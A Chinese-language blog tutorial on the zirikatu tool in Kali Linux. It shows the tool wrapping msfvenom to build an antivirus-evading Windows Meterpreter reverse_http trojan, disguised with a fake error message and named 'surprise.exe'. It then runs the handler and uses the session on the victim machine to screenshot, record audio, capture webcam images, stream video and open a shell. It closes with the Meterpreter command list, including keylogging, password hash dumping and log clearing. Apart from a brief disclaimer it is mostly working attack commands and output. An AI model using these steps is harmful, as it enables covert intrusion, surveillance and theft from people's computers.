『Kali Linux』- zirikatu
2018-11-26 本文已影响56人
TGWoK
本篇文章只用于教育普及,请勿用于违法活动,否则后果自负
Hack and Have Fun!
zirikatu是一款针对Windows操作系统的高效hack工具,可实现对目标系统的设备监听及控制等功能。
原理
zirikatu对msfvenom中Windows payload进行封装,通过参数配置生成执行参数,msfvenom执行后,生成木马程序。目标主机运行木马后,实现攻击效果。
zirikatu核心原理代码如下:
if [ "$option" == "7" ]; then
msfvenom -p $payload LHOST=$ip LPORT=$port --platform windows -a x86 -e generic/none 2>/dev/null | msfvenom --platform windows -a x86 -e x86/shikata_ga_nai -i $int -f raw 2>/dev/null | msfvenom --platform windows -a x86 -e x86/fnstenv_mov -i $int -f hex >> behinbehineko 2>/dev/null;
encoded='Y'
fi
if [ "$option" == "4" ]; then
msfvenom -p $payload LHOST=$host LPORT=$port -f hex --smallest >> behinbehineko 2>/dev/null;
int='N'
encoded='N'
else
msfvenom -p $payload LHOST=$ip LPORT=$port -f hex --smallest >> behinbehineko 2>/dev/null;
int='N'
encoded='N'
fi
##268 - 280 行
配置
Download zirikatu
root@kali:/media/sf_share_kali# git clone https://github.com/pasahitz/zirikatu
正克隆到 'zirikatu'...
remote: Enumerating objects: 18, done.
remote: Total 18 (delta 0), reused 0 (delta 0), pack-reused 18
展开对象中: 100% (18/18), 完成.
root@kali:/media/sf_share_kali# cd zirikatu/
root@kali:/media/sf_share_kali/zirikatu# ls
zirikatu.ico zirikatu.sh
执行zirikatu
root@kali:/media/sf_share_kali/zirikatu-master# ./zirikatu.sh
_____ _ _ _ _
/ _ /(_) _ __ (_)| | __ __ _ | |_ _ _
\// / | || '__|| || |/ / / _' || __|| | | |
/ //\| || | | || < | (_| || |_ | |_| |
/____/|_||_| |_||_|\_\ \__,_| \__| \__,_|
___ ____
/\ /\ / _ \ |___ \
\ \ / / | | | | __) |
\ V / | |_| | _ / __/
\_/ \___/ (_)|_____|
/==========================########========================\
| # |
| #Fully Undetectable# |
| #Metasploit Payload Generator# |
| #Tested on Debian Jessie and Kali Linux# |
|———————————#—————————————————#——————————————————#—————————|
| PasahitZ 2017 |
\==========================================================/
Check script dependencies = 【Fail】
mono 【!!】 Not Found, first must be installed mono
mcs 【!!】 Not Found, first must be installed mono
This script require all dependencies to work, install not found programs
More information:
https://www.metasploit.com/
http://www.mono-project.com/
https://www.postgresql.org/
Exiting....
zirikatu需要依赖mono & mcs
配置zirikatu依赖包
root@kali:/media/sf_share_kali/zirikatu-master# apt-get install mono-devel
再次执行zirikatu
root@kali:/media/sf_share_kali/zirikatu-master# ./zirikatu.sh
_____ _ _ _ _
/ _ /(_) _ __ (_)| | __ __ _ | |_ _ _
\// / | || '__|| || |/ / / _' || __|| | | |
/ //\| || | | || < | (_| || |_ | |_| |
/____/|_||_| |_||_|\_\ \__,_| \__| \__,_|
___ ____
/\ /\ / _ \ |___ \
\ \ / / | | | | __) |
\ V / | |_| | _ / __/
\_/ \___/ (_)|_____|
/==========================########========================\
| # |
| #Fully Undetectable# |
| #Metasploit Payload Generator# |
| #Tested on Debian Jessie and Kali Linux# |
|———————————#—————————————————#——————————————————#—————————|
| PasahitZ 2017 |
\==========================================================/
Check script dependencies = 【Pass】
msfconsole 【Ok】
msfvenom 【Ok】
mono 【Ok】
mcs 【Ok】
postgresql 【Ok】
fallocate 【Ok】
[1] Meterpreter_Reverse_tcp [5] Shell_reverse_tcp
[2] Meterpreter_Reverse_http [6] Powershell_reverse_tcp
[3] Meterpreter_Reverse_https [7] Multi encode payload
[4] Meterpreter_Reverse_tcp_dns
Select a payload number: 2
Set LHOST: 192.168.1.103
Set LPORT: 8080
Do you want to change the payload icon? y or n : y
Display an error message? y or n : y
Write title error message : Error
Write the error message : Big Brother is watching you!
Enter the output file name: surprise
Please wait a few seconds..........
█║║║║║║║║║║║║║║║║║║║║║║║║║║║║║║║║║█
fallocate: fallocate failed: 不支持的操作
Succesfully Payload generated !!
Payload file= /media/sf_share_kali/zirikatu-master/output/surprise.exe
Payload size= 137728 Bytes
*****************************************************************************
LHOST=192.168.1.103 NUMBER OF ITERATIONS=N
LPORT=8080 CHANGE ICON=Y
ENCODED PAYLOAD=N ERROR MESSAGE=Y
PAYLOAD=WINDOWS/METERPRETER/REVERSE_HTTP
*****************************************************************************
Do you start the payload handler? y or n: y
[ ok ] Starting postgresql (via systemctl): postgresql.service.
_ _
/ \ /\ __ _ __ /_/ __
| |\ / | _____ \ \ ___ _____ | | / \ _ \ \
| | \/| | | ___\ |- -| /\ / __\ | -__/ | || | || | |- -|
|_| | | | _|__ | |_ / -\ __\ \ | | | | \__/| | | |_
|/ |____/ \___\/ /\ \\___/ \/ \__| |_\ \___\
=[ metasploit v4.17.24-dev ]
+ -- --=[ 1825 exploits - 1033 auxiliary - 318 post ]
+ -- --=[ 541 payloads - 44 encoders - 10 nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
[*] Processing /media/sf_share_kali/zirikatu-master/handler/handler.rc for ERB directives.
resource (/media/sf_share_kali/zirikatu-master/handler/handler.rc)> use exploit/multi/handler
resource (/media/sf_share_kali/zirikatu-master/handler/handler.rc)> set PAYLOAD windows/meterpreter/reverse_http
PAYLOAD => windows/meterpreter/reverse_http
resource (/media/sf_share_kali/zirikatu-master/handler/handler.rc)> set LHOST 192.168.1.103
LHOST => 192.168.1.103
resource (/media/sf_share_kali/zirikatu-master/handler/handler.rc)> set LPORT 8080
LPORT => 8080
resource (/media/sf_share_kali/zirikatu-master/handler/handler.rc)> set EXITONSESSION false
EXITONSESSION => false
resource (/media/sf_share_kali/zirikatu-master/handler/handler.rc)> exploit -j
[*] Exploit running as background job 0.
[*] Started HTTP reverse handler on http://192.168.1.103:8080
msf exploit(multi/handler) >
生成的surprise.exe文件
root@kali:/media/sf_share_kali/zirikatu-master/output# ls
surprise.exe
将surprise.exe文件拷入目标主机
运行surprise.exe
运行surprise.exe后,kali shell中显示构建session成功
[*] Started HTTP reverse handler on http://192.168.1.103:8080
msf exploit(multi/handler) > [*] http://192.168.1.103:8080 handling request from 192.168.1.104; (UUID: hdkecpka) Staging x86 payload (180825 bytes) ...
[*] Meterpreter session 1 opened (192.168.1.103:8080 -> 192.168.1.104:49230) at 2018-11-26 22:31:11 +0800
使用
查看session信息
sessions -i
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/windows win8\win_8 @ WIN8 192.168.1.103:8080 -> 192.168.1.104:49230 (192.168.1.104)
选择目标 session
msf exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...
查看目标主机信息
meterpreter > sysinfo
Computer : WIN8
OS : Windows 8 (Build 9200).
Architecture : x64
System Language : zh_CN
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
截图
meterpreter > screenshot
Screenshot saved to: /media/sf_share_kali/zirikatu/source/BAALKIfi.jpeg
screenshot.jpeg
录音
meterpreter > record_mic -d 3
[*] Starting...
[*] Stopped
Audio saved to: /media/sf_share_kali/zirikatu/source/gkTEbROp.wav
摄像头截图
meterpreter > webcam_snap
[*] Starting...
[+] Got frame
[*] Stopped
Webcam shot saved to: /media/sf_share_kali/zirikatu/source/GJAeeNRH.jpeg
摄像头实时数据
meterpreter > webcam_stream
[*] Starting...
[*] Preparing player...
[*] Opening player at: /media/sf_share_kali/zirikatu/source/cnzgbrva.html
[*] Streaming...
获取目标主机shell
meterpreter > shell
Process 1940 created.
Channel 1 created.
Microsoft Windows [�汾 6.2.9200]
(c) 2012 Microsoft Corporation����������Ȩ����
C:\Users\win_8\Desktop>
其他指令
meterpreter > help
Core Commands
=============
Command Description
------- -----------
? Help menu
background Backgrounds the current session
bg Alias for background
bgkill Kills a background meterpreter script
bglist Lists running background scripts
bgrun Executes a meterpreter script as a background thread
channel Displays information or control active channels
close Closes a channel
detach Detach the meterpreter session (for http/https)
disable_unicode_encoding Disables encoding of unicode strings
enable_unicode_encoding Enables encoding of unicode strings
exit Terminate the meterpreter session
get_timeouts Get the current session timeout values
guid Get the session GUID
help Help menu
info Displays information about a Post module
irb Open an interactive Ruby shell on the current session
load Load one or more meterpreter extensions
machine_id Get the MSF ID of the machine attached to the session
migrate Migrate the server to another process
pivot Manage pivot listeners
pry Open the Pry debugger on the current session
quit Terminate the meterpreter session
read Reads data from a channel
resource Run the commands stored in a file
run Executes a meterpreter script or Post module
sessions Quickly switch to another session
set_timeouts Set the current session timeout values
sleep Force Meterpreter to go quiet, then re-establish session.
transport Change the current transport mechanism
use Deprecated alias for "load"
uuid Get the UUID for the current session
write Writes data to a channel
Stdapi: File system Commands
============================
Command Description
------- -----------
cat Read the contents of a file to the screen
cd Change directory
checksum Retrieve the checksum of a file
cp Copy source to destination
dir List files (alias for ls)
download Download a file or directory
edit Edit a file
getlwd Print local working directory
getwd Print working directory
lcd Change local working directory
lls List local files
lpwd Print local working directory
ls List files
mkdir Make directory
mv Move source to destination
pwd Print working directory
rm Delete the specified file
rmdir Remove directory
search Search for files
show_mount List all mount points/logical drives
upload Upload a file or directory
Stdapi: Networking Commands
===========================
Command Description
------- -----------
arp Display the host ARP cache
getproxy Display the current proxy configuration
ifconfig Display interfaces
ipconfig Display interfaces
netstat Display the network connections
portfwd Forward a local port to a remote service
resolve Resolve a set of host names on the target
route View and modify the routing table
Stdapi: System Commands
=======================
Command Description
------- -----------
clearev Clear the event log
drop_token Relinquishes any active impersonation token.
execute Execute a command
getenv Get one or more environment variable values
getpid Get the current process identifier
getprivs Attempt to enable all privileges available to the current process
getsid Get the SID of the user that the server is running as
getuid Get the user that the server is running as
kill Terminate a process
localtime Displays the target system's local date and time
pgrep Filter processes by name
pkill Terminate processes by name
ps List running processes
reboot Reboots the remote computer
reg Modify and interact with the remote registry
rev2self Calls RevertToSelf() on the remote machine
shell Drop into a system command shell
shutdown Shuts down the remote computer
steal_token Attempts to steal an impersonation token from the target process
suspend Suspends or resumes a list of processes
sysinfo Gets information about the remote system, such as OS
Stdapi: User interface Commands
===============================
Command Description
------- -----------
enumdesktops List all accessible desktops and window stations
getdesktop Get the current meterpreter desktop
idletime Returns the number of seconds the remote user has been idle
keyscan_dump Dump the keystroke buffer
keyscan_start Start capturing keystrokes
keyscan_stop Stop capturing keystrokes
screenshot Grab a screenshot of the interactive desktop
setdesktop Change the meterpreters current desktop
uictl Control some of the user interface components
Stdapi: Webcam Commands
=======================
Command Description
------- -----------
record_mic Record audio from the default microphone for X seconds
webcam_chat Start a video chat
webcam_list List webcams
webcam_snap Take a snapshot from the specified webcam
webcam_stream Play a video stream from the specified webcam
Stdapi: Audio Output Commands
=============================
Command Description
------- -----------
play play an audio file on target system, nothing written on disk
Priv: Elevate Commands
======================
Command Description
------- -----------
getsystem Attempt to elevate your privilege to that of local system.
Priv: Password database Commands
================================
Command Description
------- -----------
hashdump Dumps the contents of the SAM database
Priv: Timestomp Commands
========================
Command Description
------- -----------
timestomp Manipulate file MACE attributes
参考资料
Hacking Any Webcam, snapshot, screenshot.. on Kali Linux ✔
https://www.youtube.com/watch?v=YS5vMX8jGpI
mono
https://www.mono-project.com/download/stable/#download-lin-debian